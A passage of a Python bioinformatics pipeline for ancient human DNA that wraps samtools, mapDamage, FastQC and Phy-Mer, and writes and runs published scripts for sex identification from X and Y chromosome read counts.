print(\"\\t> Indexing '*.bam' file {}...\".format(sample_id))\n            os.system('samtools index ' + i + ' ' + i + '.bai')\n            fout.write(\"\\n\\t> Indexing '*.bam' file {}...\".format(sample_id))\n            fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + '\\tsamtools index ' + i + ' ' + i + '.bai\\n')\n\n    print(\"\\n\\t> BAM file indexing... Done!\")\n    fout.write(\"\\n\\t> BAM file indexing... Done!\\n\\t-----\\n\")\n\n\ndef mapdamage(filepath, stats=False):\n    \"\"\"\n    Runs the mapDamage code to track and quantify damage patterns in ancient DNA sequences.\n\n    Input:\n    foo.q30.rmdup.bam\n\n    Output:\n    foo (folder)\n    Example:\n    >>> mapdamage('/home/dfernandes/NGSdata/Indexes/chroms_hg19/full_karyo.fa')\n\n    \"\"\"\n    cwd = os.getcwd()\n    print(\"\\n< MAPDAMAGE - Damage patterns in ancient DNA >\")\n    fout.write(\"\\n< MAPDAMAGE - Damage patterns in ancient DNA >\")\n    q30rmdup_counter = 0\n    for i in os.listdir(cwd):\n        if '.rmdup.bam' in i:\n            q30rmdup_counter += 1\n\n    if q30rmdup_counter == 0:\n        print(\"\\t> ERROR: No '.rmdup.bam' files in current directory. Aborting MAPDAMAGE analysis...\")\n        fout.write(time.strftime(\n            \"\\n\\t%H:%M:%S %Z \") + \"> ERROR: No '.rmdup.bam' files in current directory. Aborting MAPDAMAGE analysis...\")\n        return None\n    else:\n        for i in os.listdir(cwd):\n            if '.rmdup.bam' == i[-10:]:\n                sample_id = i[:-14]\n                print(\"\\t> Performing MAPDAMAGE analysis for sample \" + i + \"...\")\n                if stats == False:\n                    print(\n                        \"\\t\"\"mapDamage -i \" + i + \" -r \" + filepath + \" -d \" + cwd + \"/mapdamage/mapdamage_\" + sample_id + \" --no-stats\" + \"\\n\")\n                    os.system(\n                        \"mapDamage -i \" + i + \" -r \" + filepath + \" -d \" + cwd + \"/mapdamage/mapdamage_\" + sample_id + \" --no-stats\")\n                    fout.write(\"\\t> Performing MAPDAMAGE analysis for sample \" + i + \"...\" + time.strftime(\n                        \"\\n\\t%H:%M:%S %Z \") + \"\\t\"\"mapDamage -i \" + i + \" -r \" + filepath + \" -d \" + cwd + \"/mapdamage/mapdamage_\" + sample_id + \" --no-stats\" + \"\\n\")\n                elif stats == True:\n                    print(\n                        \"\\t\"\"mapDamage -i \" + i + \" -r \" + filepath + \" -d \" + cwd + \"/mapdamage/mapdamage_\" + sample_id + \"\\n\")\n                    os.system(\n                        \"mapDamage -i \" + i + \" -r \" + filepath + \" -d \" + cwd + \"/mapdamage/mapdamage_\" + sample_id)\n                    fout.write(\"\\t> Performing MAPDAMAGE analysis for sample \" + i + \"...\" + time.strftime(\n                        \"\\n\\t%H:%M:%S %Z \") + \"\\t\"\"mapDamage -i \" + i + \" -r \" + filepath + \" -d \" + cwd + \"/mapdamage/mapdamage_\" + sample_id + \"\\n\")\n    print(\"\\n\\t> Damage patterns analysis... Done!\")\n    fout.write(\"\\n\\n\\t> Damange patterns analysis... Done!\\n\\t-----\\n\")\n\n\ndef rescaleMapDamage(filepath):\n    os.chdir(originalWD)\n    cwd = os.getcwd()\n    print(\"\\n< MAPDAMAGE RESCALE - Rescale base quality scores with mapDamage algo >\")\n    fout.write(\"\\n< MAPDAMAGE RESCALE - Rescale base quality scores with mapDamage algo >\")\n\n    # if seqtkSim == 1:\n    #     fileExp = \"seqtk.bam$\"\n    # else:\n    #     fileExp = \"q30.rmdup.bam$\"\n\n    for i in os.listdir(cwd):\n        if re.search(\"q..\\.rmdup\\.bam$\", i) != None:\n            sample_id, sep, rest = i.partition('.bam')\n            sample_id_true, rest = re.split('\\.q..',i)\n            sep = re.findall('\\.q..',i)[0]\n            if os.path.exists(cwd + \"/mapdamage/mapdamage_\" + sample_id_true) == True:\n                if 'Stats_out_MCMC_correct_prob.csv' in os.listdir(cwd + \"/mapdamage/mapdamage_\" + sample_id_true):\n                    print(\"mapDamage -i \" + i + \" -r \" + filepath + \" -d \" + cwd + \"/mapdamage/mapdamage_\" + sample_id_true + \" --rescale-only\")\n                    os.system(\"mapDamage -i \" + i + \" -r \" + filepath + \" -d \" + cwd + \"/mapdamage/mapdamage_\" + sample_id_true + \" --rescale-only\")\n                elif 'Stats_out_MCMC_correct_prob.csv' not in os.listdir(cwd + \"/mapdamage/mapdamage_\" + sample_id_true):\n                    print(\"mapDamage -i \" + i + \" -r \" + filepath + \" -d \" + cwd + \"/mapdamage/mapdamage_\" + sample_id_true + \" --stats-only\")\n                    os.system(\"mapDamage -i \" + i + \" -r \" + filepath + \" -d \" + cwd + \"/mapdamage/mapdamage_\" + sample_id_true + \" --stats-only\")\n                    print(\"mapDamage -i \" + i + \" -r \" + filepath + \" -d \" + cwd + \"/mapdamage/mapdamage_\" + sample_id_true + \" --rescale-only\")\n                    os.system(\"mapDamage -i \" + i + \" -r \" + filepath + \" -d \" + cwd + \"/mapdamage/mapdamage_\" + sample_id_true + \" --rescale-only\")\n            else:\n                print(\"mapDamage -i \" + i + \" -r \" + filepath + \" -d \" + cwd + \"/mapdamage/mapdamage_\" + sample_id_true + \" --rescale\")\n                os.system(\"mapDamage -i \" + i + \" -r \" + filepath + \" -d \" + cwd + \"/mapdamage/mapdamage_\" + sample_id_true + \" --rescale\")\n            mapDamageRescaleSim = 1\n\n\ndef fastqcAfterRmdup():\n    \"\"\"\n    () -> html,zip\n\n    For current folder, executes FastQC analysis for each 'fastq.gz' file, creating individual folders.\n\n    Input:\n    foo.q30.rmdup.bam\n\n    Output:\n    foo.q30.rmdup.zip\n    foo.q30.rmdup.html\n\n    Example:\n    >>> fastqcAfterRmdup()\n    \"\"\"\n\n    cwd = os.getcwd()\n\n    ## Fastq Analysis ##\n    print(\"\\n< FASTQC - Quality control analysis >\")\n    fastq_counter = 0\n    for i in os.listdir(cwd):\n        if '.rmdup.bam' in i:\n            fastq_counter += 1\n\n    if fastq_counter == 0:\n        print(\"\\t> ERROR: No '.rmdup.bam' files in current directory. Skipping fastqc analysis...\")\n    else:\n        for i in os.listdir(cwd):\n            if '.rmdup.bam' == i[-10:]:\n                sample_id = i[:-10]\n                print('\\t> FastQC analysis running for sample: ', sample_id)\n                os.system('fastqc ' + i)\n\n        print(\"\\t> Fastqc Analysis...Done!\")\n\n\ndef idxstats():\n    \"\"\"\n    () -> txt\n\n    Outputs a file with the distribution of the reads per chromosome for all files with pattern in folder.\n\n    Input:\n    bar.q30.rmdup.bam\n\n    Output:\n    bar.chr.txt\n\n    Example:\n    >>> idxstats()\n    \"\"\"\n    cwd = os.getcwd()\n    print(\"\\n< IDXSTATS - Distribution of reads per chromosome >\")\n    fout.write(\"\\n< IDXSTATS - Distribution of reads per chromosome >\")\n\n    for i in os.listdir(cwd):\n        if '.rmdup.bam' == i[-10:]:\n            sample_id = i[:-14]\n            print(\"\\t> Reading distribution of reads per chromosome from '\" + i + \"'...\")\n            print(\"\\t\" + r\"samtools idxstats \" + i + \" > \" + sample_id + \".chr.txt\\n\")\n            os.system(r\"samtools idxstats \" + i + \" > \" + sample_id + \".chr.txt\")\n            fout.write(\"\\n\\t> Reading distribution of reads per chromosome from '\" + i + \"'...\" + time.strftime(\n                \"\\n\\t%H:%M:%S %Z \") + \"\\t\" + r\"samtools idxstats \" + i + \" > \" + sample_id + \".chr.txt\\n\")\n\n    for i in os.listdir(cwd):\n        if '.pmd3filter.bam' == i[-15:]:\n            sample_id = i[:-19]\n            print(\"\\t> Reading distribution of reads per chromosome from '\" + i + \"'...\")\n            print(\"\\t\" + r\"samtools idxstats \" + i + \" > \" + sample_id + \".pmd.chr.txt\")\n            os.system(r\"samtools idxstats \" + i + \" > \" + sample_id + \".pmd.chr.txt\")\n            fout.write(\"\\n\\t> Reading distribution of reads per chromosome from '\" + i + \"'...\" + time.strftime(\n                \"\\n\\t%H:%M:%S %Z \") + \"\\t\" + r\"samtools idxstats \" + i + \" > \" + sample_id + \".pmd.chr.txt\\n\")\n\n    print(\"\\t> Distribution of reads per chromosome... Done!\")\n    fout.write(\"\\n\\t> Distribution of reads per chromosome... Done!\\n\\t-----\\n\")\n\n\ndef sexing():  ##Missing file_count error check\n    \"\"\"\n    Performs sexing evaluation using Skoglund (2014) method. First the function creates and writes the authors' script into the working folder and then uses it as provided by them.\n\n    Input:\n    bar.q30.rmdup.bam\n\n    Output:\n    sexing_bar.txt\n\n    \"\"\"\n\n    cwd = os.getcwd()\n    script = open(\"XYkaryotyper.py\", 'w')\n    script.write(\n        \"#!/usr/bin/python2\\n\\n\" + '\"\"\"' + \"\\nVersion:\\t0.4\\nAuthor:\\t\\tPontus Skoglund\\nContact:\\tpontus.skoglund@gmail.com\\nDate:\\t\\t28 June 2013\\n\")\n    script.write(\n        \"Citation:\\tP. Skoglund, J.Stora, A. Gotherstrom, M. Jakobsson (2013)\\n\\t\\tAccurate sex identification of ancient human remains using DNA shotgun sequencing.\\n\")\n    script.write(\"\\t\\tJournal of Archaeological Science\\n\\n\")\n    script.write(\"Usage:\\t\\tpython ry_compute.py <SAM formatted data from stdin>\\n\\n\")\n    script.write(\"Example:\\tsamtools view -q 30 mybamfile.bam | python XYkaryotyper.py\\n\\n\")\n    script.write(\n        \"\\t\\t(for specification on the SAM format and a the samtools suite, see Li, Handsaker et al. 2009, Bioinformatics)\\n\\n\")\n    script.write(\n        \"Output:\\t\\t[Total number of alignments in input] [Number of X and Y alignments identified] [R_y] [R_y standard error] [95% CI for R_Y] [Inferred sex]\\n\" + '\"\"\"' + \"\\n\\n\")\n    script.write(\"import sys\\nimport math\\nfrom optparse import OptionParser\\n\\n\")\n    script.write('usage = \"usage: %prog [options] <SAM formatted data from stdin>\"\\n')\n    script.write(\"parser = OptionParser(usage=usage)\\n\")\n    script.write(\n        'parser.add_option(\"--chrXname\", action=\"store\", type=\"string\", dest=\"chrXname\",help=\"Identifier for the X chromosome in the SAM input (use if different than chrX, X etc)\",default=\"X\")\\n')\n    script.write(\n        'parser.add_option(\"--chrYname\", action=\"store\", type=\"string\", dest=\"chrYname\",help=\"Identifier for the Y chromosome in the SAM input (use if different than chrY, Y etc)\",default=\"Y\")\\n')\n    script.write(\n        'parser.add_option(\"--malelimit\", action=\"store\", type=\"float\", dest=\"malelimit\",help=\"Upper R_y limit for assignment as XY/male\",default=0.075)\\n')\n    script.write(\n        'parser.add_option(\"--femalelimit\", action=\"store\", type=\"float\", dest=\"femalelimit\",help=\"Lower R_y limit for assignment as XX/female\",default=0.016)\\n')\n    script.write(\n        'parser.add_option(\"--digits\", action=\"store\", type=\"int\", dest=\"digits\",help=\"Number of decimal digits in R_y output\",default=4)\\n')\n    script.write(\n        'parser.add_option(\"--noheader\", action=\"store_true\", dest=\"noheader\",help=\"Do not print header describing the columns in the output\",default=False)\\n')\n    script.write('(options, args) = parser.parse_args()\\n\\n')\n    script.write(\"chrYcount=0\\nchrXcount=0\\ntotalcount=0\\nfor line in sys.stdin:\\n\")\n    script.write(\"\\n\\t#SAM header lines are skipped\\n\\tif line[0] == '@':continue\\n\\ttotalcount += 1\\n\\n\")\n    script.write(\"\\tcol=line.split()\\n\\tchromosome=col[2]\\n\\n\")\n    script.write(\n        \"\\tif options.chrYname in chromosome: chrYcount += 1\\n\\telif options.chrXname in chromosome: chrXcount += 1\\n\\n\\n\")\n    script.write(\n        \"#compute R_y with 95% confidence interval\\nn=chrYcount+chrXcount # total number of used alignments\\nRy=1.0*chrYcount/n\\nSE=math.sqrt((Ry*(1.0-Ry))/n)\\nconfinterval=1.96*SE\\n\\n\\n\")\n    script.write(\n        \"#use criteria to infer chromosomal sex\\ngender='NA'\\nif (Ry < options.femalelimit) and (Ry > options.malelimit):\\n\\tgender='Not Assigned'\\nelif Ry==0.0:\\n\\tgender='consistent with XX'\\n\")\n    script.write(\n        \"elif Ry+confinterval < options.femalelimit:\\n\\tgender='XX'\\nelif Ry-confinterval > options.malelimit:\\n\\tgender='XY'\\n\")\n    script.write(\n        \"elif Ry-confinterval > options.femalelimit and Ry+confinterval > options.malelimit:\\n\\tgender='consistent with XY but not XX'\\nelif Ry-confinterval < options.femalelimit and Ry+confinterval < options.malelimit:\\n\")\n    script.write(\n        \"\\tgender='consistent with XX but not XY'\\nelse:\\n\\tgender='Not Assigned'\\n\\nif options.noheader == False:\\n\\t\" + r\"print('Nseqs\\tNchrY+NchrX\\tNchrY\\tR_y\\tSE\\t95% CI\\tAssignment')\" + \"\\n\")\n    script.write(\n        r\"print(str(totalcount)+'\\t'+str(n)+'\\t'+str(chrYcount)+'\\t'+str(round(Ry,options.digits))+'\\t'+str(round(SE,options.digits))+'\\t'+str(round(Ry-confinterval,options.digits))+'-'+str(round(Ry+confinterval,options.digits))+'\\t'+str(gender))\")\n    script.close()\n\n    print(\"\\n< SEXING - Skoglund's (2013) sex identification of ancient DNA human remains >\")\n    fout.write(\"\\n< SEXING - Skoglund's (2013) sex identification of ancient DNA human remains >\")\n\n    for i in os.listdir(cwd):\n        if '.rmdup.bam' == i[-10:]:\n            sample_id, rest = re.split('\\.q..',i)\n            sep = re.findall('\\.q..',i)[0]\n\n            print(\"\\t> Running sexing script for sample: \" + sample_id)\n            os.system('samtools view ' + i + ' | python XYkaryotyper.py > sexing_' + sample_id + '.txt')\n            fout.write(\"\\n\\t> Running sexing script for sample: \" + sample_id)\n            fout.write(time.strftime(\n                \"\\n\\t%H:%M:%S %Z \") + '\\tsamtools view ' + i + ' | python XYkaryotyper.py > sexing_' + sample_id + '.txt\\n')\n\n    print(\"\\n\\t> Sex identification of samples... Done!\")\n    fout.write(\"\\n\\t> Sex identification of samples... Done!\\n\\t-----\\n\")\n\n\ndef sexingEJ(single_out=True, st_out=True):  ##Missing file_count error check\n    \"\"\"\n    Performs sexing evaluation using Jones (201X) method. First the function creates and writes the authors' script into the working folder and then uses it as provided by them.\n\n    Input:\n    bar.chr.txt\n\n    Output:\n    (Xy_all_samples.pdf)\n    (Sexing_stats.txt)\n    (bar.xy.pdf)\n\n    \"\"\"\n\n    cwd = os.getcwd()\n    print(\"\\n< SEXING - Jones' (201X) sex identification of ancient DNA human remains >\")\n    fout.write(\"\\n< SEXING - Jones' (201X) sex identification of ancient DNA human remains >\")\n\n    if single_out == True:\n        arg1 = \"single_out=TRUE\"\n    elif single_out == False:\n        arg1 = \"single_out=FALSE\"\n    else:\n        print(\"\\t> ERROR: Check function default arguments\")\n        quit()\n\n    if st_out == True:\n        arg2 = \"st_out=TRUE\"\n    elif st_out == False:\n        arg2 = \"st_out=FALSE\"\n    else:\n        print(\"\\t> ERROR: Check function default arguments\")\n        quit()\n\n    script = open(\"XYkaryotyper.R\", 'w')\n    script.write('setwd(\"')\n    script.write(cwd)\n    script.write('\")')\n    script.write(\n        '\\n\\nargs=commandArgs(trailingOnly=TRUE)\\n##Arguments order:\\n##single_out=TRUE   st_out=TRUE\\nargs=c(\"')\n    script.write(arg1)\n    script.write('\",\"')\n    script.write(arg2)\n    script.write('\")\\n')\n    script.write(\n        '\\n## Argument checking\\nif(args[1]==\"single_out=TRUE\"){pdf(\"Xy_all_samples.pdf\")}  ##For all graphs to be in same PDF\\nif(args[2]==\"st_out=TRUE\"){final_tbl=data.frame(Sample=character(),XX_Prob=numeric(),XY_Prob=numeric(),p_value=numeric(),AssessXY=character(),Assessment=character(),stringsAsFactors=FALSE)}')\n    script.write(\n        '\\n\\nwdfiles=list.files(getwd())\\nfor(i in wdfiles) {\\n\\tif(grepl(\".chr.txt\",i)==TRUE) {\\n\\t\\t## Adapting input file to script and retrieving sample name\\n\\t\\tname=strsplit(i,\".chr.txt\")')\n    script.write(\n        '\\n\\t\\tname=name[[1]]\\n\\t\\td=read.table(i,header=FALSE)\\n\\t\\tnames(d)=c(\"chr\",\"length\",as.character(name))\\n\\t\\td=`rownames<-`(d[-23, ], NULL)\\n\\t\\td=d[-25,]\\n\\t\\td=d[,-4]')\n    script.write(\n        '\\n\\t\\tif(args[1]==\"single_out=FALSE\"){pdf(paste(name,\".xy.pdf\",sep=\"\"))}  ##For individually separated graph PDF files\\n\\n\\t\\t###### START OF ORIGINAL SCRIPT ######')\n    script.write(\n        '\\n\\t\\tcritt<-qt(0.05,df=20)\\n\\t\\tprobs<-0\\n\\t\\tratios<-0\\n\\n\\t\\tfor( i in 3:length(colnames(d)) )\\n\\t\\t{\\n\\t\\t\\t# Start with plot')\n    script.write(\n        '\\n\\t\\t\\tplot(d[c(1:23),i]~d$length[c(1:23)],xlab=\"Chromsome length (Mb)\",ylab=\"Number of reads\", main=colnames(d)[i],pch=16,col=\"slategrey\",xaxt=\"n\")')\n    script.write(\n        '\\n\\t\\t\\tpoints(d$length[23],d[23,i],col=\"red\",pch=16)\\n\\t\\t\\ttext(d$length[23],d[23,i],\"X\",col=\"red\",pos=1)\\n\\t\\t\\ttext(d$length[1],d[1,i],\"1\",col=\"slategrey\",pos=1, cex=0.5)')\n    script.write(\n        '\\n\\t\\t\\ttext(d$length[2],d[2,i],\"2\",col=\"slategrey\",pos=1, cex=0.5)\\n\\t\\t\\ttext(d$length[3],d[3,i],\"3\",col=\"slategrey\",pos=1, cex=0.5)\\n\\t\\t\\ttext(d$length[4],d[4,i],\"4\",col=\"slategrey\",pos=1, cex=0.5)')\n    script.write(\n        '\\n\\t\\t\\ttext(d$length[5],d[5,i],\"5\",col=\"slategrey\",pos=1, cex=0.5)\\n\\t\\t\\ttext(d$length[6],d[6,i],\"6\",col=\"slategrey\",pos=1, cex=0.5)\\n\\t\\t\\ttext(d$length[7],d[7,i],\"7\",col=\"slategrey\",pos=1, cex=0.5)')\n    script.write(\n        '\\n\\t\\t\\ttext(d$length[8],d[8,i],\"8\",col=\"slategrey\",pos=1, cex=0.5)\\n\\t\\t\\ttext(d$length[9],d[9,i],\"9\",col=\"slategrey\",pos=1, cex=0.5)\\n\\t\\t\\ttext(d$length[10],d[10,i],\"10\",col=\"slategrey\",pos=1, cex=0.5)')\n    script.write(\n        '\\n\\t\\t\\ttext(d$length[11],d[11,i],\"11\",col=\"slategrey\",pos=1, cex=0.5)\\n\\t\\t\\ttext(d$length[12],d[12,i],\"12\",col=\"slategrey\",pos=1, cex=0.5)\\n\\t\\t\\ttext(d$length[13],d[13,i],\"13\",col=\"slategrey\",pos=1, cex=0.5)')\n    script.write(\n        '\\n\\t\\t\\ttext(d$length[14],d[14,i],\"14\",col=\"slategrey\",pos=1, cex=0.5)\\n\\t\\t\\ttext(d$length[15],d[15,i],\"15\",col=\"slategrey\",pos=1, cex=0.5)\\n\\t\\t\\ttext(d$length[16],d[16,i],\"16\",col=\"slategrey\",pos=1, cex=0.5)')\n    script.write(\n        '\\n\\t\\t\\ttext(d$length[17],d[17,i],\"17\",col=\"slategrey\",pos=1, cex=0.5)\\n\\t\\t\\ttext(d$length[18],d[18,i],\"18\",col=\"slategrey\",pos=1, cex=0.5)\\n\\t\\t\\ttext(d$length[19],d[19,i],\"19\",col=\"slategrey\",pos=1, cex=0.5)')\n    script.write(\n        '\\n\\t\\t\\ttext(d$length[20],d[20,i],\"20\",col=\"slategrey\",pos=1, cex=0.5)\\n\\t\\t\\ttext(d$length[21],d[21,i],\"21\",col=\"slategrey\",pos=1, cex=0.5)\\n\\t\\t\\ttext(d$length[22],d[22,i],\"22\",col=\"slategrey\",pos=1, cex=0.5)')\n    script.write(\n        '\\n\\t\\t\\tpoints(d$length[23],(2*d[23,i]),col=\"lightgrey\",pch=16)\\n\\t\\t\\ttext(d$length[23],(2*d[23,i]),\"2X\",col=\"lightgrey\",pos=3)\\n\\t\\t\\taxis(side=1,at=axTicks(1),labels=axTicks(1)/1000000)')\n    script.write(\n        '\\n\\n\\t\\t\\t# Fit linear regression\\n\\t\\t\\tmodel<-lm(d[c(1:22),i]~d$length[c(1:22)])\\n\\t\\t\\tabline(model)\\n\\n\\t\\t\\t# 95% CI lines for regression line')\n    script.write(\n        '\\n\\t\\t\\tprd <- predict( model, data.frame(d$length[c(1:22)]), interval=\"confidence\", level=0.95)\\n\\t\\t\\tconfidence <- data.frame( cbind( d$length[c(1:22)], prd[,2], prd[,3] ) )')\n    script.write(\n        '\\n\\t\\t\\tconfordered <- confidence[order(confidence[,1]),]\\n\\t\\t\\tlines(confordered$X1,confordered$X2,lty=3)\\n\\t\\t\\tlines(confordered$X1,confordered$X3,lty=3)\\n')\n    script.write(\n        '\\n\\t\\t\\t# Externally Studentized estimate of variance of residuals\\n\\t\\t\\tstudres<-rstudent(model)\\n\\t\\t\\tmodelwithX<-lm(d[c(1:23),i]~d$length[c(1:23)])\\n\\t\\t\\tstudreswithX<-rstudent(modelwithX)')\n    script.write(\n        '\\n\\t\\t\\tfemaleprob<-pt(studreswithX[23],df=20)\\n\\t\\t\\tmodelwithtwiceX<-lm(c(d[c(1:22),i],(d[23,i]*2))~d$length[c(1:23)])\\n\\t\\t\\tstudreswithtwiceX<-rstudent(modelwithtwiceX)')\n    script.write(\n        '\\n\\t\\t\\tmaleprob<-pt(studreswithtwiceX[23],df=20,lower.tail=F)\\n\\t\\t\\tratio<-femaleprob/maleprob\\n\\t\\t\\tprobs[i-2]<-femaleprob\\n')\n    script.write(\n        '\\n\\t\\t\\t##Adition to script due to output table and blanks compatibility\\n\\t\\t\\tif (is.nan(ratio)==TRUE) { ratio[1]=0}\\n\\t\\t\\t##\\n')\n    script.write(\n        '\\n\\t\\t\\tlm_eqn = function(df){\\n\\t\\t\\t\\tmodel<-lm(d[c(1:22),i]~d$length[c(1:22)]);\\n\\t\\t\\t\\teq <- substitute(italic(y) == a + b %.% italic(x)*\",\"~~italic(r)^2~\"=\"~r2,list(a = format(coef(m)[1], digits = 2),b = format(coef(m)[2], digits = 2),r2 = format(summary(m)$r.squared, digits = 3)))')\n    script.write(\n        '\\n\\t\\t\\t\\tas.character(as.expression(eq));\\n\\t\\t\\t}\\n\\n\\t\\t\\t# Add descriptive legend\\n\\t\\t\\tif( ratio >= 1 )\\n\\t\\t\\t{\\n\\t\\t\\t\\tlrt<--2*log(maleprob/femaleprob)        # <- stab at likelihood ratio test')\n    script.write(\n        '\\n\\t\\t\\t\\tlrtp<-1-(pchisq(lrt,df=1))            # <- stab at computing probability based on LRT\\n\\t\\t\\t\\t')\n    script.write(\n        'legend( \"topleft\",c(paste(\"Female (\",signif(ratio,digits=3),\"X more likely)\",sep=\"\"),paste(\"p = \", signif(lrtp,digits=3))), cex = 0.6)')\n    script.write(\n        '\\n\\t\\t\\t\\tratios[i-2]<-ratio\\n\\t\\t\\t\\t##Adition to original script due to output table\\n\\t\\t\\t\\tif(args[2]==\"st_out=TRUE\"){\\n\\t\\t\\t\\t\\tassess=paste(\"Female (\",signif(ratio,digits=3),\"X more likely)\",sep=\"\")')\n    script.write(\n        '\\n\\t\\t\\t\\t\\tkar=\"XX\"\\n\\t\\t\\t\\t\\tnewrow=data.frame(name,maleprob,femaleprob,signif(lrtp[[1]],digits=3),kar,assess,stringsAsFactors=FALSE)\\n\\t\\t\\t\\t\\tfinal_tbl=rbind(final_tbl,newrow)\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t##')\n    script.write(\n        '\\n\\t\\t\\t}\\n\\t\\t\\telse\\n\\t\\t\\t{\\n\\t\\t\\t\\tlrt<--2*log(femaleprob/maleprob)        # <- stab at likelihood ratio test\\n\\t\\t\\t\\tlrtp<-1-(pchisq(lrt,df=1))            # <- stab at computing probability based on LRT')\n    script.write(\n        '\\n\\t\\t\\t\\tlegend( \"topleft\",c(paste(\"Male (\",signif((1/ratio),digits=3),\"X more likely)\",sep=\"\"),paste(\"p = \", signif(lrtp,digits=3))), cex = 0.6)')\n    script.write(\n        '\\n\\t\\t\\t\\tratios[i-2]<-1/ratio\\n\\t\\t\\t\\t##Adition to original script due to output table\\n\\t\\t\\t\\tif(args[2]==\"st_out=TRUE\"){\\n\\t\\t\\t\\t\\tassess=paste(\"Male (\",signif((1/ratio),digits=3),\"X more likely)\",sep=\"\")')\n    script.write(\n        '\\n\\t\\t\\t\\t\\tkar=\"XY\"\\n\\t\\t\\t\\t\\tnewrow=data.frame(name,maleprob,femaleprob,signif(lrtp[[1]],digits=3),kar,assess,stringsAsFactors=FALSE)\\n\\t\\t\\t\\t\\tfinal_tbl=rbind(final_tbl,newrow)\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t##\\n\\t\\t\\t}\\n\\t\\t}')\n    script.write(\n        '\\n\\t\\t#dev.off()\\n\\t\\t######### END OF ORIGINAL SCRIPT #########\\n\\n\\t\\tif(args[1]==\"single_out=FALSE\"){dev.off()}  ##For individually separated graph PDF files\\n\\t}\\n}\\n\\nif(args[2]==\"st_out=TRUE\"){\\n\\tempty_row=\"\"')\n    script.write(\n        '\\n\\tcite_row=c(\"Based on script by Eppie Jones (201X).\",\"\",\"\",\"\",\"\",\"\")\\n\\tfinal_tbl=rbind(final_tbl,empty_row)\\n\\tfinal_tbl=rbind(final_tbl,cite_row)\\n\\tnames(final_tbl)=c(\"Sample\",\"XX_Prob\",\"XY_Prob\",\"p_value\",\"AssessXY\",\"Assessment\")\\n\\t')\n    script.write(r'write.table(final_tbl,file=\"Sexing_stats.txt\",sep=\"\\t\",quote=FALSE,row.names=FALSE)')\n    script.write('\\n}\\n\\ndev.off()')\n    script.close()\n\n    os.system(\"R CMD BATCH XYkaryotyper.R &\")\n\n    print(\"\\n\\t> Sex identification of samples... Done!\")\n    fout.write(\"\\n\\t> Sex identification of samples... Done!\\n\\t-----\\n\")\n\n\ndef mtDNAphymer(phyloTreelibraryPath, score1cutoff=0.04):\n    \"\"\"\n    Uses the software PhyMer to estimate mitochondrial haplogroups and compiles the information from all samples into one tab-spaced file.\n\n    Input:\n    foo.q30.rmdup.bam\n\n    Output:\n    foo_mt.fastq\n    foo.phymer.mtdna.txt\n    mtDNA_Scores.txt\n\n    :param phyloTreelibraryPath:\n    (string)    Path to the PhyloTree to use\n\n    :param score1cutoff:\n    (string)    Lower threshold for accepting score1. Higher values give more precise results\n    \"\"\"\n\n    ###################\n    # ADD ARGUMENT TO CHECK PHYMER FOLDER INSTEAD OF PHYLOTREE, SO IT CAN BE USED FOR THE SNP LIST AS WELL\n    os.chdir(originalWD)\n    cwd = os.getcwd()\n    print(\"\\n< MT HAPLOGROUPS - Checking for mtDNA haplogroups using Phy-Mer >\")\n    fout.write(\"\\n< MT HAPLOGROUPS - Checking for mtDNA haplogroups using Phy-Mer >\")\n\n    ## Checking if folder mtDNA, otherwise, create it\n    if 'mtDNA' in os.listdir(cwd):\n        pass\n    else:\n        newdir = cwd + '/' + \"mtDNA\"\n        os.mkdir(newdir)\n    cwdMT = cwd + \"/mtDNA\"\n\n    ## New style of code - keep if no errors appear\n    for i in os.listdir(cwd):\n        if re.search(\"q30.rmdup.bam$\", i) != None:\n            sample_id, sep, rest = i.partition('.q30')\n            print('\\nsamtools view -b -h ' + i + ' chrM > ' + cwdMT + '/' + sample_id + '_mt.bam')\n            os.system('samtools view -b -h ' + i + ' chrM > ' + cwdMT + '/' + sample_id + '_mt.bam')\n\n    os.chdir(cwdMT)\n    for i in os.listdir(cwdMT):\n        if re.search(\"._mt.bam$\", i) != None:\n            # if '_mt.bam' == i[-7:]:        ## Using SAMTOOLS instead of picard for ease of use\n            # sample_id, sep, rest = i.partition('_mt')\n            # print('SamToFastq.jar INPUT='+i+' FASTQ='+sample_id+'_mt.fastq')\n            # os.system('SamToFastq.jar INPUT='+i+' FASTQ='+sample_id+'_mt.fastq')\n            sample_id, sep, rest = i.partition('_mt')\n            print('samtools bam2fq ' + i + ' > ' + sample_id + '_mt.fastq')\n            os.system('samtools bam2fq ' + i + ' > ' + sample_id + '_mt.fastq')\n\n    for i in os.listdir(cwdMT):\n        if re.search(\"_mt.fastq$\", i) != None:\n            # if '_mt.fastq' == i[-9:]:\n            sample_id, sep, rest = i.partition('_mt')\n            print(\n                'Phy-Mer.py --verbose --print-ranking --def-snp=/home/dfernandes/Software/phy-mer-master/resources/Build_16_-_rCRS-based_haplogroup_motifs.csv ' + phyloTreelibraryPath + ' ' + i + ' > ' + sample_id + '.phymer.mtdna.txt')\n            os.system(\n                'Phy-Mer.py --verbose --print-ranking --def-snp=/home/dfernandes/Software/phy-mer-master/resources/Build_16_-_rCRS-based_haplogroup_motifs.csv ' + phyloTreelibraryPath + ' ' + i + ' > ' + sample_id + '.phymer.mtdna.txt')\n\n    os.chdir(cwdMT)\n    mtdnaout = open('mtDNA_Scores.txt', 'w')\n    mtdnaout.write(\n        \"Sample\\tHaplogroup1\\tGeoLocation\\tScore1\\tHaplogroup2\\tScore2\\tHaplogroup3\\tScore3\\tHaplogroup4\\tScore4\\tHaplogroup5\\tScore5\")\n\n    for i in os.listdir(cwdMT):\n        if '.phymer.mtdna.txt' in i:\n            sample_id, sep, rest = i.partition('.phymer')\n            print(\"\\n\\t> Checking mtDNA haplogroup for sample \" + sample_id)\n            fout.write(\"\\n\\t> Checking mtDNA haplogroup for sample \" + sample_id)\n            phyfile = open(i, 'r')\n            phyfiledata = phyfile.readlines()\n            try:\n                for line in phyfiledata:\n                    if line[0] == \"[\":\n                        first_index = phyfiledata.index(line)\n                        break\n\n                line1 = phyfiledata[first_index]\n                line1 = line1.replace(' ', '')\n                line1 = line1.replace(\"'\", '')\n                line1 = line1.replace(\"[\", '')\n                line1 = line1.replace(\"]\", '')\n                hap, sc1, sc2, sc3 = line1.split(',', 3)\n                sc3 = sc3.rstrip(\"\\n\")\n                if \"\\t\" in sc3:\n                    sc3, rest = sc3.split('\\t', 1)\n                line2 = phyfiledata[first_index + 1]\n                line2 = line2.replace(' ', '')\n                line2 = line2.replace(\"'\", '')\n                line2 = line2.replace(\"[\", '')\n                line2 = line2.replace(\"]\", '')\n                hap2, sc1b, sc2b, sc3b = 